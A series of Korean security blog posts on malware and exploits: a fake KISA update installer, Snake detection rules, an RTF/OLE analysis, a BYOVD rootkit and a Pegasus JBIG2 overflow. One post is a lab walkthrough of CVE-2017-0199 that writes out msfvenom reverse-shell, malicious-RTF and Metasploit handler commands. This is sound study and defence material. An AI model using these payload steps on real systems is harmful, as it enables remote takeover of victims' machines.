1. 개요

- 국가사이버안보센터는 최근 국가배후 해킹조직의 공격 정황을 확인했다고 발표

- 해당 조직은 KISA 보안 업데이트 등 정상 프로그램으로 위장하여 악성코드를 유포

> KISA 보안 업데이트 외 MS 업데이트, 소프트웨어 설치 파일 등으로 위장하여 유포될 가능성이 존재

 

2. 주요 내용 [2]

- 확인된 악성 파일은 ‘KISA-Security-Upgrade.exe’라는 이름으로 유포

> 이노 셋업(Inno Setup) 소프트웨어를 사용하여 제작

> 이노 셋업이란 JrSfoftware社에서 제작한 스크립트 기반의 윈도우용 설치 프로그램을 제작할 수 있는 도구

[사진 1] 위장 설치 프로그램

 

- 해당 파일 내부에 스크립트 파일 ‘install_script.iss’이 존재

> 스크립트 파일에 기록된 명령에 따라 시스템 파일 생성 및 프로그램 설치

[사진 2] install_script.iss 파일 정보

 

[사진 3] 악성코드 동작 과정

 

- 해당 파일을 실행하면 사용자 PC의 시작 프로그램에 자동으로 등록되어 PC를 시작할 때마다 자동 실행

> 감염 시스템 정보를 수집하여 C2 서버로 전송하며, 공격자의 명령에 따라 여러 명령을 수행할 수 있음

[사진 4] 레지스트리에 시작프로그램으로 등록

3. 대응방안

- 공식 홈페이지를 통해 설치 파일 다운로드 등 기본 보안 수칙 준수

> 다양한 파일로 위장하여 악성코드를 유포하기 때문

> 자동으로 다운로드되는 파일이나 파일 공유 사이트 등 출처가 불분명한 파일 다운로드 및 실행 지양

 

- 관련 프로그램 제거 (KISA-Security-Upgrade.exe 등)

> [제어판] - [프로그램] - [프로그램 및 기능]에서 파일 삭제

 

- 침해지표 등록 [2]

 

4. 참고

[1] https://jrsoftware.org/ishelp/
[2] https://asec.ahnlab.com/ko/54041/
[3] https://www.boannews.com/media/view.asp?idx=119058&page=1&kind=1

1. 개요

- 미국 CISA, NSA, FBI 등에서 러시아 연방 보안국(FSB)과 연관된 것으로 추정되는 Snake 악성코드 분석 보고서 발표

- Snake 악성코드는 50여 개 국가 정부 네트워크, 연구 시설 및 언론 등을 대상으로 민감 정보 탈취를 시도

 

Hunting Russian Intelligence “Snake” Malware | CISA

SUMMARY The Snake implant is considered the most sophisticated cyber espionage tool designed and used by Center 16 of Russia’s Federal Security Service (FSB) for long-term intelligence collection on sensitive targets. To conduct operations using this too

www.cisa.gov

 

2. 주요내용

① 러시아 배후 해킹 그룹 Turla는 피싱메일과 무차별 대입 공격을 통해 자격 증명 정보 획득 및 관리자 권한 획득 시도

- 초기 액세스 권한 획득 후 Snake 악성코드 배포

> jpsetup.exe(이미지 뷰어 설치 프로그램)을 통해 Snake 악성코드 배포

> 정상적인 경로(%windows%\WinSxS\)에 WerFault.exe 등록하여 지속성 유지

WinSxS (Windows Side By Side)
- Windows OS의 "DLL Hell" 문제를 해결하기 위해 만들어짐
※ DLL Hell: DLL을 관리할 때 발생할 수 있는 모든 문제를 의미
> Windows OS는 프로그램 사용 시 DLL파일을 사용
> 업데이트 등으로 DLL이 변경되는 경우 DLL 관련 문제가 발생할 수 있음
※ DLL 버전 충돌 문제, 프로그램이 의존하는 DLL 파일을 찾을 때의 어려움, 불필요한 DLL 파일 복사본이 만들어지는 문제 등
> 이러한 문제를 해결하기 위한 목적으로 등장

- 윈도우 업데이트 시 시스템, 드라이버가 변경되는 폴더, 파일들을 WinSxS 폴더에 백업
> 프로그램 실행 시 해당 디렉터리에서 DLL에 관한 정보를 불러옴
> 이를 통해 의존성 문제를 줄일 수 있음

 

② 관리자 권한 획득 후 도메인 컨트롤러에 액세스

- 조직의 전체 네트워크에 대한 정보 수집 목적

> 키로거, 네트워크 스니퍼, 오픈 소스 등의 도구를 사용

 

③ 여러 노드를 경유하여 내부 정보 유출

- 여러 프로토콜을 이용한 통신(TCP, UDP, HTTP, SMTP, DNS 등)과 암호화를 사용해 탐지 우회

 

3. 탐지규칙

3.1 Snort

- 권고된 탐지 규칙을 적용하기 전 운영 환경을 고려하여 적용여부 검토

alert http any any -> any any (msg: "http rule (Cookie)";pcre:"/[0-9A-Za-z]{10}[0-9A-Za-z\/\+]{11}=/C";flow: established, to_server;sid: 7; rev: 1;)

alert http any any -> any any (msg: "http rule (Other Header)";pcre:"/[0-9A-Za-z]{10}[0-9A-Za-z\/\+]{11}=/H";flow: established, to_server;sid: 8; rev: 1;)

alert http any any -> any any (msg: "http2 rule (Cookie)";pcre:"/[0-9A-Za-z]{22}[0-9A-Za-z\/_=\;]{11}/C";flow: established, to_server;sid: 9; rev: 1;)

alert http any any -> any any (msg: "http2 rule (Other Header)";pcre:"/[0-9A-Za-z]{22}[0-9A-Za-z\/_=\;]{11}/H";flow: established, to_server;sid: 10; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";content: "|00 00 00 08|"; startswith; dsize: 12;flow: established, to_server; flowbits: set, a8; flowbits: noalert;sid: 1; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";content: "|00 00 00 04|"; startswith; dsize:8;flow: established, to_server; flowbits: isset, a8; flowbits: unset, a8;flowbits: set, a4; flowbits: noalert;sid: 2; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";content: "|00 00 00 08|"; startswith; dsize: 4;flow: established, to_client; flowbits: isset, a4; flowbits: unset, a4;flowbits: set, b81; flowbits: noalert;sid: 3; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";dsize: 8; flow: established, to_client; flowbits: isset, b81;flowbits: unset, b81; flowbits: set, b8; flowbits: noalert;sid: 4; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";content: "|00 00 00 04|"; startswith; dsize: 4;flow: established, to_client; flowbits: isset, b8; flowbits: unset, b8;flowbits: set, b41; flowbits: noalert;sid: 5; rev: 1;)

alert tcp any any -> any any (msg: "tcp rule";dsize: 4; flow: established, to_client; flowbits: isset, b41;flowbits: unset, b41;sid: 6; rev: 1;)

 

3.2 Yara

- Snake Queue File 탐지

rule HighEntropy
{
    meta:
        description = "entropy rule"

    condition:
        math.entropy(0, filesize) >= 7.0
}

 

- Snake Werfault.exe 탐지

rule PeIconSizes
{
    meta:
        description = "werfault rule"

    condition:
        pe.is_pe 
        and 
        for any rsrc in pe.resources:
            (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 3240)
        and
        for any rsrc in pe.resources:
            (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 1384)
        and
        for any rsrc in pe.resources:
            (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 7336)
}

 

4. 기타 대응 방안

- 암호 변경: 기본 암호 사용, 암호 유출 가능성 등을 고려하여 전사 차원의 암호 변경

- 최소권한부여: 관리자 권한 획득을 어렵게 하기 위함

- MFA 적용: 계정에 엑세스하지 못하도록 하기 위함

1. 분석 도구

1.1 Virus Total [1]

- 무료로 파일 검사를 제공하는 웹사이트로, 파일, URL 내의 바이러스를 검사해주는 사이트 (IP 조회도 가능)

 

1.2 HxD [2]

- 파일에 저장된 HEX(16진수) 값을 읽고 수정하는데 이용

 

1.3 rtfdump.py [3][4]

- Github에서 다운받을 수 있는 파이썬으로 작성된 RTF 파일을 분석하는데 사용되는 Open Source

 

1.4 oledump.py [8]

- OLE 파일을 분석하는 프로그램

 

2. 분석

 Virus Total 조회

- 실습에서 진행한 RTF 파일을 Virus Total에서 조회한 결과는 다음과 같음

> 58개의 벤더사 중 39개의 벤더사가 악성 파일로 탐지

> 탐지명을 확인해보면 CVE-2017-0199와 관련된 것임을 알 수 있음

[사진 1] Virus Total 조회 결과

 

② 파일 속성 및 HxD 조회

- 파일 속성과 HxD 확인 결과 해당 파일이 RTF 파일임을 확인

> RTF 파일은 파일 시그니처7B 5C 72 74 66 31 ({rtf1)를 가짐 [5]

[사진 2] 파일 속성 및 HxD 확인 결과

 

③ rtfdump.py 파일 덤프

- 먼저 -m 옵션을 사용해 rtfdump.py의 사용법에 대해 확인

[사진 3] rtfdump.py -m 결과

 

- yeahhub.rtf 파일 덤프 결과 문서에 포함된 객체들이 조회됨

> [사진 5]를 통해 RTF 문서에서 원격 객체와 연결을 하기위해 "objautlink"를 사용하며, 그 중 "objdata"에 OLE 객체를 포함하고 있는것을 확인 [6]

> objautlink ⊃ objdata ⊃ OLE 객체로 정리함

※ [사진 4]에서 첫 번째 열의 숫자는 rtfdump에서 파생된 출력 값으로 파일의 일부가 아님

[사진 4] objdata

 

[사진 5] RTF 내 objdata 객체

 

- 분석 후 추가 구글링 결과 rtfdump.py의 경우 아래 명령으로 문서에 포함된 OLE 객체를 찾을 수 있다고 확인됨

rtfdump.py -f O 파일명

 

- [사진 4]에서 확인된 objdata의 값을 -s 옵션으로 확인한 결과 "01050000 02000000"이 확인

> "01050000 02000000"는 각각 01050000 OLE 버전 정보, 02000000 임베디드 객체를 뜻함 [7]

> -H 명령을 추가해 확인하면 더욱 명확히 OLE 객체임을 알 수 있음

[사진 6] -s 10 명령 결과

 

[사진 7] -H 추가 결과

 

④ oledump.py

- [사진 7]의 결과에서 두 가지 옵션 추가 및 "|"를 사용해 oledump.py의 입력으로 전달

> -E: 포함된 객체 덤프

> -d: 출력된 내용 덤프

[사진 8]에서 첫 번째 열의 숫자는 oledump에서 파생된 출력 값으로 파일의 일부가 아님

[사진 8] 덤프 파일 출력

 

- -s 옵션으로 각각의 스트림을 확인한 결과 첫 번째 스트림에서 악성 URL 확인

[사진 9] 문자 스트림 출력

 

- [사진 9]에서 확인된 악성 URL로 HTA 파일을 요청하고, HTA 파일에 포함된 리버스쉘 생성 명령이 실행

[사진 10] 패킷 일부

 

3. 참고

[1] https://www.virustotal.com/gui/home/upload
[2] https://mh-nexus.de/en/hxd/
[3] https://github.com/DidierStevens/DidierStevensSuite/blob/master/rtfdump.py
[4] https://blog.didierstevens.com/2016/07/29/releasing-rtfdump-py/
[5] http://forensic-proof.com/archives/300
[6] https://www.mcafee.com/blogs/other-blogs/mcafee-labs/an-inside-look-into-microsoft-rich-text-format-and-ole-exploits/
[7] https://github.com/houjingyi233/office-exploit-case-study/blob/master/CVE-2017-11882%26CVE-2018-0802%26CVE-2018-0798/cve-2018-0802%20poc%20with%20comments.rtf
[8] https://github.com/DidierStevens/DidierStevensSuite/blob/master/oledump.py

1. 취약점 [1]

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2017-0199

- MS Zero-day 공격으로, OLE2link 오브젝트를 포함한 워드파일을 열기만 하면 임의의 코드가 실행되는 취약점

영향받는 버전: Microsoft Word 모든 버전

 

2. 실습

2.1 환경

- 공격자 환경

[사진 2] 공격자 환경

 

- 피해자환경

[사진 3] 피해자 환경

2.2 실습

① PoC를 위한 파일은 Github에 올라온 오픈 소스를 사용 [2]

git clone https://github.com/bhdresh/CVE-2017-0199

 

② msfvenom을 사용해 리버스쉘을 생성하는 HTA 파일을 생성

msfvenom [3][4]
- 메타스플로잇 프레임워크에 포함되어 있는 페이로드 생성 도구로 칼리에 내장되어 있음
- 2015년 6월에 msfpayload 및 msfencode가 msfvenom에 통합

 

- 해당 툴을 처음 사용해서 -h 옵션으로 사용법을 확인

> 실행 결과 중 Example 부분을 차용해 HTA 파일을 생성하면 될 것으로 판단

[사진 4] msfvenom 옵션

 

- [사진 2]에서 Example과 Options을 확인해보면 아래와 같은 페이로드를 완성할 수 있음

> -p windows/meterpreter/reverse_tcp: 리버스쉘을 생성하는 페이로드 사용

> LHOST=<공격자 IP>: 리버스쉘 생성시 접속할 공격자의 IP

> LPORT=<공격자 Port>: 리버스쉘 생성시 접속할 공격자의 Port

> -f <파일 포맷>: 파일 포맷 지정 (msfvenom --list format으로 사용가능한 포맷 확인 가능)

> -o <결과 파일명>: 앞서 설정한 옵션으로 생성할 결과 파일명

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f hta-psh -o report.hta

[사진 5] HTA 파일 생성

 

③ RTF 파일 생성

- ②에서 생성한 HTA 파일과 PoC 파일을 통해 RTF 파일을 생성

> -M gen: 악성 페이로드 생성

> -t RTF: 파일 유형으로 RTF 지정

> -w yeahhub.rtf: 공격에 사용할 RTF 파일명 지정

> -u hxxp://192.168.56.102:8000/report.hta: HTA 위치 지정

python cve-2017-0199_toolkit.py -M gen -t RTF -w yeahhub.rtf -u http://192.168.56.102:8000/report.hta

[사진 6] RTF 파일 생성

 

④ 웹 서버 구동

- 피해자가 악성 RTF 문서를 실행했을 때, 스크립트 형태의 악성코드를 전송해야 하므로 서버를 설정하는 것으로 판단됨.

> 아래 명령은 기본적으로 로컬 웹 서버의 8000번 포트를 이용

> RTF 파일을 생성한 디렉터리에서 HTTP를 실행해야 한다고 함

python -m SimpleHTTPServer

[사진 7] 서버 실행

 

⑤ msfconsole을 이용한 멀티핸들러 설정

- 이부분에서 multi/handler에 대한 이해가 되지않아 구글링 결과를 정리하면 다음과 같음

⒜ 피해자가 파일을 실행한 후 공격자가 제어하는 호스트로 접속이 되어야 공격자의 추가 공격 가능

> 피해자가 RTF 파일을 실행해 공격자 서버에 접근해 HTA 파일을 다운받아 스크립트를 실행해 리버스쉘 생성

⒝ 이때, 들어오는 접속을 multi/handler로 받아 메타스플로잇 세션을 열어줌

> multi/handler로 해당 세션을 메타스플로잇으로 넘겨줘 공격자가 추가 악성 행위 수행

# msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.102
set LPORT 4444
run

[사진 8] 메타스플로잇 실행

 

⑥ 피해시스템에서 파일 실행

[사진 9] 파일 실행

 

- [사진 8]에서 차단 해제를 클릭한 후 발생하는 알림창에서 예를 클릭

> ActiveX 실행 관련 알람 발생 후 문서가 실행됨

[사진 10] 차단 해제

 

⑦ 피해자 > 공격자 리버스쉘 생성

- 피해자 > 공격자 리버스쉘이 생성된 것을 확인할 수 있음

> 공격자:8000으로 접속하여 HTA 파일을 다운받음

> 피해 시스템에서 HTA 파일이 실행되 리버스쉘 생성

> multi/handler에 의해 메타스플로잇으로 해당 세션이 넘어가 추가 악성행위 가능

[사진 11] 리버스쉘 생성

 

[사진 12] 패킷 일부

 

- 위 과정을 요약하면 다음과 같음

[사진 13] 과정 요약

3. 대응방안

① 최신 보안 패치 적용

- 해당 취약점은 2017.04 MS에서 패치한 취약점

 

② 매크로 기능 비활성화

- 해당 취약점에서는 RTF 파일 실행 후 매크로 사용 시 악성코드에 감염

> 해당 취약점 외 공격자들이 악성코드 등을 유포하는데 매크로 기능을 주로 사용

 

③ 보안 장비에 탐지 규칙 적용 [5]

<예시>
rule rtf_objdata_urlmoniker_http {
 strings:
 $header = &quot;{\\rtf1&quot;
 $objdata = &quot;objdata 0105000002000000&quot; nocase
 $urlmoniker = &quot;E0C9EA79F9BACE118C8200AA004BA90B&quot; nocase
 $http = &quot;68007400740070003a002f002f00&quot; nocase
 condition:
 $header at 0 and $objdata and $urlmoniker and $http
 }

 

④ 불필요 또는 악성코드 유포 등에 사용된 확장자를 메일 보안 솔루션에서 필터링

> 확장자 차단에 따른 영향도 검토 필요

 

⑤ 출처가 불분명한 첨부파일 실행 주의/금지 등 기본적인 보안 방안 준수

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/cve-2017-0199
[2] https://github.com/bhdresh/CVE-2017-0199
[3] https://scytalezz.tistory.com/134
[4] https://dazemonkey.tistory.com/142
[5] https://blog.nviso.eu/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/
[6] https://securityaffairs.co/58077/breaking-news/cve-2017-0199-exploitation-poc.html
[7] https://www.boannews.com/media/view.asp?idx=117413&page=1&kind=1 

1. 개요

- 북한 해킹 조직 킴수키(Kimsuky)에서 과거 활용했던 취약점

- 과거 북한은 해당 취약점을 이용해 2014.12.09 한수원 사태를 일으킴

- 해당 취약점은 발견 당시 Zero-Day 취약점이었으며, 2017.04 MS에서 패치를 진행

- 러시아에서 사이버무기로 활용하던 제로데이 취약점으로, 취약점이 공개되자 북한이 활용한 것으로 판단

※ 보안뉴스 "세계적인 관심 받고 있는 북한의 APT 단체 킴수키, 어떻게 막아야 하나" 취약점이 포함되어 있어 정리

 

2. 관련 지식

2.1 OLE

- 객체 연결 삽입(Object Linking and Embedding, OLE)의 준말

- MS에서 개발하였으며, 문서와 기타 객체에 연결과 삽입을 도와주는 연결규약

- 다른 응용프로그램에서 작성된 문자나 그림, mp3 등의 개체를 현재 작성 중인 문서에 자유롭게 연결하거나 삽입하여 편집할 수 있게 하는 기능

버전 설명
OLE 1.0 - 1990년에 출시
- MS가 초기 버전의 윈도우 OS용으로 만든 동적 데이터 교환(Dynamic Data Exchange, DDE)를 확장한 것
OLE 2.0 - 자동화, 드래그 앤 드롭 등의 기능이 추가

 

- 해당 취약점에서는 OLE2 link object를 악용

> OLE2 기술을 사용하여 생성된 객체를 다른 문서나 응용 프로그램과 연결하는 객체

> 원본 객체의 데이터와 OLE2 기술을 사용하여 생성된 링크 정보를 포함하며, 링크 정보를 사용하여 원본 객체를 참조

 

2.2 RTF 파일

- 서식있는 텍스트 파일 (Rich Text Format, RTF)

- MS가 1987년 개발 및 표준화한 파일 포맷으로 확장자로 ".RTF"를 가짐

- Microsoft Word, LibreOffice, OpenOffice 등 다양한 소프트웨어에서 지원

- 텍스트만 저장하는 일반 텍스트 파일과 달리 글꼴 스타일, 서식, 이미지 등에 대한 정보도 저장되어 서식 유지 가능

> ASCII 텍스트로 작성되어 있으며, 문서에 포함된 서식(글꼴, 색상, 크기, 스타일 등)을 나타내는 태그가 포함

> 서식 태그는 RTF 리더기나 편집기에서 해석되어 문서의 서식이 적용

 

2.3 URL Moniker

- URL Moniker는 COM 개체의 구성요소로, 인터넷에서 리소스를 찾아내 참조하기 위한 기술

- URL을 사용하여 웹 페이지, 이미지, 비디오, 오디오 등의 인터넷 리소스를 찾아내고, 해당 리소스를 다른 응용 프로그램과 공유할 수 있도록 해줌

COM(Component Object Model) 개체
- Microsoft에서 개발한 소프트웨어 컴포넌트 모델
- 프로그래밍 언어나 기술에 관계없이 서로 다른 소프트웨어 컴포넌트들이 상호작용할 수 있도록 해주는 일종의 인터페이스 규격
- COM 개체는 다른 소프트웨어 컴포넌트와 통신하기 위한 메서드와 속성을 제공하며, COM 라이브러리에 등록된 후 COM의 런타임 환경에서 실행

 

2.4 HTA 파일

- HTML Application의 약자이며, 확장자로 ".HTA"를 가짐

- 소스 코드가 HTML , 동적 HTML, VBScript, JScript 와 같이 Internet Explorer에서 지원하는 하나 이상의 스크립팅 언어로 구성된 Microsoft Windows 프로그램

- 인터넷 브라우저 보안 모델의 제약 없이 실행되며,  "완전히 신뢰할 수 있는" 응용 프로그램으로 실행됨

> 실행 시 실행 경고창이 생성되지 않음

> 신뢰할 수 없는 프로그램을 실행할 수 있고, Powershell을 이용하여 로컬 파일 목록을 획득하거나 랜섬웨어 공격 등에 악용되기도 함

 

2.4.1 HTML과 HTA 비교

- 아래 계산기를 실행하는 코드를 HTML과 HTA 파일로 만들어 실행해 결과를 비교

> HTML 실행 시 Activex 함수 실행 관련 경고창이 발생할 것으로 예상

> HTA 실행 시 아무런 경고창 없이 실행될 것으로 예상

<html>
<head>
<script language="javascript">
  shell = new ActiveXObject("WScript.shell");
  shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>

 

 

- 예상과 달리 HTML과 HTA 파일 모두 첨부파일 실행 시 경고창이 발생하지 않음

> 엣지, 크롬으로 HTML을 실행해 보았으나, 경고창이 발생하지 않음

> 인터넷 익스플로러에서 HTML를 실행하면 ActivexObject 컨텐츠와 상호작용을 허용이 필요하다는 정보를 찾음

>  하지만, IE에서도 HTML 실행에 대한 경고가 발생하지 않았으며, 이유에 대해서는 아직 잘 모르겠음

 

 

- 두 파일의 아이콘과 실행 결과 모두 차이를 보임

> HTML 실행 결과 Activex 함수가 실행되지 않아 계산기 실행이 되지않음

> HTA 실행 결과 Activex 함수가 실행되어 계산기가 실행

[사진 1] HTML(좌), HTA(우) 아이콘 및 실행결과 비교

 

3. 공격방식

① 공격자가 OLE2 link object를 포함한 MS Word 문서를 사용자에게 피싱 메일 등으로 전송

② 사용자가 해당 문서를 열람할 경우 URL Moniker에 의해 공격자가 지정한 서버(공격자가 제어 가능한 서버)에 접근

③ 공격자의 서버에서 HTA 파일 형태로 스크립트가 사용자에게 전송

④ HTA 파일 특성 상 경고창 없이 실행되며, HTA 내부에 포함된 Powershell 명령이 실행되어 악성파일 요청

⑤ 요청한 악성파일을 전송 및 실행하여 악성행위 수행

1. BYOD (Bring Your Own Device)

- 개인 소유의 스마트기기 또는 모바일 장비를 이용해 회사 데이터베이스와 애플리케이션 등에 액세스해서 업무를 처리하는 것을 의미

- 기업은 하드웨어 교체 비용, 소프트웨어 라이선스 구입 및 유지 비용 등을 절감 가능

- 장소나 시간에 관계 없이 개인 기기에서 자유롭게 업무 문서를 열람 가능하여 생산성과 업무 속도 개선

 

2. BYOVD (Bring Your Own Vulerable Device)

- BYOD (Bring Your Own Device)에서 파생된 단어로, 취약점이 존재하는 드라이버를 포함하고 있는 프로그램을 악용

> 최신 윈도우 운영체제에서는 더 이상 서명되지 않은 드라이버 로드는 불가

> 그러나, 합법적으로 서명된 드라이버 모듈은 로드할 수 있음

> 이러 악용하여 취약한 공급업체의 드라이버 모듈로 커널 메모리를 조작

 

- 합법적인 서명을 포함하고 있어 윈도 운영체제에서 정상적으로 구동되지만 사실은 취약점이 있는 드라이버를 활용해 공격 대상의 시스템에 접근 권한을 얻는 방식의 공격 기법

- 즉, 개인의 기기에 설치된 특정 소프트웨어의 보안패치가 미적용된 환경을 이용하는 공격 유형

- 드라이버의 권한을 이용하므로 커널 메모리 영역에 읽고 쓰는 것이 가능해, 백신 및 PC 모니터링 시스템 등도 무력화 가능

 

2.1 북한 라자루스 그룹의 ene.sys 드라이버를 악용한 루트킷 배포 [1]

- ENE Technology에서 제작한 ene.sys 드라이버 모듈은 오픈소스인 WinIO 라이브러리로 작성됨

- 유저 영역에서 커널의 물리 메모리와 I/O 포트에 직접 접근을 가능하게 해주는 모듈

 

- 드라이버의 물리 메모리 접근 방식은 “ZwMapViewOfSection” API를 통한 공유 메모리 매핑 방식

- 메모리 매핑은 드라이버의 기능에 따라 필요 여부가 나뉘지만, 해당 기능을 사용하려면 드라이버를 호출하는 프로세스에 대한 검증이 철저히 이루어져야

 

2.1.1 호출 프로세스 검증 로직

① SB_SMBUS_SDK.dll 모듈 로드 검증

- ene.sys는 드라이버 실행 시점에 “PsSetLoadImageNotifyRoutine” API를 호출하여 모듈 처리와 관련된 콜백 루틴을 커널에 등록

- 콜백루틴은 프로세스가 로드하는 모듈이 SB_SMBUS_SDK.dll 인지 확인하고, 맞다면 해당 프로세스를 신뢰할 수 있는 프로세스로 인지하여 PID 정보를 ene.sys 전역변수에 저장

- 신뢰할 수 있는 프로세스가 되어 프로세스와 ene.sys 간 IOCTL 통신을 할 수 있게됨

※ IOCTL

> 컴퓨터 사용자와 커널을 잇는 인터페이스의 일부

> 사용자 공간의 코드가 하드웨어 장치, 커널 구성 요소와 통신할 수 있게 도와주는 역할

 

② AES 암호화가 이용된 IOCTL 통신 및 호출시간 검증

- 유저 영역의 프로세스가 ene.sys에 물리 메모리 매핑을 요청하기 위해서는 특정 IOCTL 값 (0x80102040)_WINIO_PHYSICAL_MEMORY_INFO_EX 구조체 정보를 드라이버에 전달하여 검증을 받음

typedef struct
_WINIO_PHYSICAL_MEMORY_INFO_EX {
중략
ULONG_PTR BusAddress; // 메모리 매핑을 원하는 물리 메모리 주소
중략
UCHAR EncryptedKey[16]; // 현재 시간 값에 대한 AES-ECB로 암호화한 값
} WINIO_PHYSICAL_MEMORY_INFO_EX, *
PWINIO_PHYSICAL_MEMORY_INFO_EX;

- 검증은 구조체 중 EncryptedKey변수를 이용하며, IOCTL 호출 시점의 시각IOCTL을 드라이버로부터 전달받아 처리한 시간차이가 2ms 미만일 경우 유효한 것으로 인지 후 IOCTL 처리

[사진 1]&nbsp;ene.sys의 호출자 및 유효 데이터 검증 절차

- ene.sys 드라이버 모듈은 유저 영역에서 물리 메모리 영역 매핑과 관련된 다음 취약점이 존재

> 오래된 오픈 소스 라이브러리 사용

> 자유로운 메모리 영역 접근

> 해당 모듈을 호출한 프로세스와 데이터의 유효성 검증 취약

※ ene.sys는 MSI 의 RGB 램 모듈을 제어하는 모듈로 위장되어 악성코드가 배포되고 있음

 

2.1.2 루트킷 악성코드

- 루트킷 자체는 로더 내 DLL로 위치하여 실행 시 ene.sys를 이용해 루트킷의 PreviousMode 주소 값을 0으로 변조

> PreviousMode 값이 0일 경우 God Mode로, 유저 영역과 커널 영역 모두 사용이 가능

- 이후 공격자는 커널 메모리를 조작하여 시스템 내 보안 시스템을 무력화 등 악성행위 수행

PreviousMode
- 유저 영역에서 동작하는 프로세스가 Nt 또는 Zw 계열의 함수를 호출할 경우
- Zw 계열의 함수는 동일한 기능을 수행하는 Nt 계열의 함수로 매핑
- Nt 계열의 함수는 호출한 드라이브가 유저 영역에서 호출한 것인지, 커널 영역에서 호출한 것인지를 확인
- 호출 위치를 판단하는데 PreviousMode 필드의 값을 통해 결정
- 호출 위치가 유저 영역일 경우 유저 영역의 메모리를 사용하게되고, 커널 영역일 경우 유저 영역과 커널 영역 모두 사용 가능함

 

[사진 2] 루트킷 동작 과정

 

3. 대응방안

① 엄격하게 드라이버 로드를 차단

- 일반 사용자 환경에서는 드라이버 로드를 하지 못하도록 통제

- MS는 윈도우 업데이트로 제공하는 취약 드라이버 차단 목록(Microsoft Vulnerable Driver Blocklist)과 HVCI(Hypervisor-Protected Code Integrity)를 통해 확인된 보안 취약점이 있는 드라이버가 기본적으로 차단

> 여러 보안 업체는 윈도우에 대한 계속되는 BYOD 공격과 취약한 드라이버 차단 목록이 정기적으로 업데이트되지 않는 것을 발견

 

② 보안 소프트웨어 업데이트를 최신으로 유지

 

4. 참고

[1] https://asec.ahnlab.com/ko/38593/
[2] https://www.itworld.co.kr/tags/81258/MFA/273211
[3] https://www.ejanews.co.kr/news/articleView.html?idxno=307927
[4] https://www.dailysecu.com/news/articleView.html?idxno=139976
[5] https://www.microsoft.com/en-us/security/blog/2021/12/08/improve-kernel-security-with-the-new-microsoft-vulnerable-and-malicious-driver-reporting-center/

1. 개요

- 모바일 보안수칙으로 보통 의심스러운(출처가 불분명한) 링크, 첨부파일 등을 클릭하지 말 것을 당부

- 이러한 대응방안을 무력화하는 방법이 제로클릭(Zero-Click) 기법

 

2. 제로클릭(Zero-Click)

- 단어 뜻 그대로 클릭이 제로인 상태를 뜻함

- 기존의 피싱 등을 통한 악성코드와 달리 사용자가 클릭하지 않아도 몰래 침투해 사용자의 스마트폰을 좀비폰으로 만듦

- 애플 iOS나 구글 안드로이드 운영체제, 왓츠앱 같은 메신저 프로그램의 취약점들을 악용해 사용자 몰래 기기에 침투

- 공격이 성공할 경우 통화 도청·녹음, 사진 촬영, 비밀번호 탈취 등이 가능해짐

- 제로클릭 공격은 정부기관 관계자, 정치인, 활동가 등 고위급 인사나 언론인을 대상으로 함

- 대중화됐다고 보기는 어렵지만  점점 증가하는 추세

- 제로클릭 공격에 대한 방어책을 신속하게 마련할 수 있도록 세부 논의가 필요

> 현재로써는 감염된 기기를 사용하지 않는 것 외에는 예방 방법이 없음

 

3. NSO 그룹의 페가수스(Pegasus)

- 이스라엘 보안업체 NSO 그룹이 개발하여 세계 각국 정부에 판매한 제로클릭 해킹 도구 (일종의 스파이웨어)

- 구글 프로젝트 제로(Project Zero) 팀은 지금까지 확인한 사이버 공격 가운데 기술적으로 가장 정교하다고 발표

 

3.1 분석 [1][4][5]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-30860 [6]

- CVE-2021-30860 할당

 

- 가짜 GIF로 코어그래픽스 PDF(CoreGraphics PDF) 파서의 취약점을 악용

※ 가짜 GIF는 확장자가 .gif이지만 실제로는 GIF 이미지 파일이 아님

 

- iMessage는 GIF 이미지를 네이티브로 지원하며, 해당 GIF를 무한반복 시키기 위해 ImageIO 라이브러리를 사용함

ImageIO 라이브러리는 파일 확장자에 상관없이 소스 파일의 올바른 형식을 추측하고 구문을 분석하는 데 사용

- 가짜 GIF 파일을 사용하면 20개 이상의 이미지 코덱이 아이메시지 제로클릭 공격 표면의 일부가 되어 수십만 줄의 코드를 원격으로 노출시킴

 

- JBIG2는 이미지 압축 표준으로, 몇가지 반복되는 문자를 대체해 파일 사이즈를 줄이는 기법

- 페가수스 스파이웨어는 이 과정에서 발생하는 취약점_참조된 세그먼트를 수집할 때 발생하는 오버플로_을 악용

 Guint numSyms; // (1)


  numSyms = 0;

  for (i = 0; i < nRefSegs; ++i) {

    if ((seg = findSegment(refSegs[i]))) {

      if (seg->getType() == jbig2SegSymbolDict) {

        numSyms += ((JBIG2SymbolDict *)seg)->getSize();  // (2)

      } else if (seg->getType() == jbig2SegCodeTable) {

        codeTables->append(seg);

      }

    } else {

      error(errSyntaxError, getPos(),

            "Invalid segment reference in JBIG2 text region");

      delete codeTables;

      return;

    }

  }

...

  // get the symbol bitmaps

  syms = (JBIG2Bitmap **)gmallocn(numSyms, sizeof(JBIG2Bitmap *)); // (3)


  kk = 0;

  for (i = 0; i < nRefSegs; ++i) {

    if ((seg = findSegment(refSegs[i]))) {

      if (seg->getType() == jbig2SegSymbolDict) {

        symbolDict = (JBIG2SymbolDict *)seg;

        for (k = 0; k < symbolDict->getSize(); ++k) {

          syms[kk++] = symbolDict->getBitmap(k); // (4)

        }

      }

    }

  }

- 먼저 (1)에서 numSyms를 32bit 정수형으로 선언

- 조작된 참조 세그먼트를통해 (2)에서 numSyms에 반복적으로 추가하는 동안 numSyms에서 Integer Overflow가 발생

- 이후, (3)에서 gmallocn 함수로 numSyms * 8만큼의 syms 힙을 할당

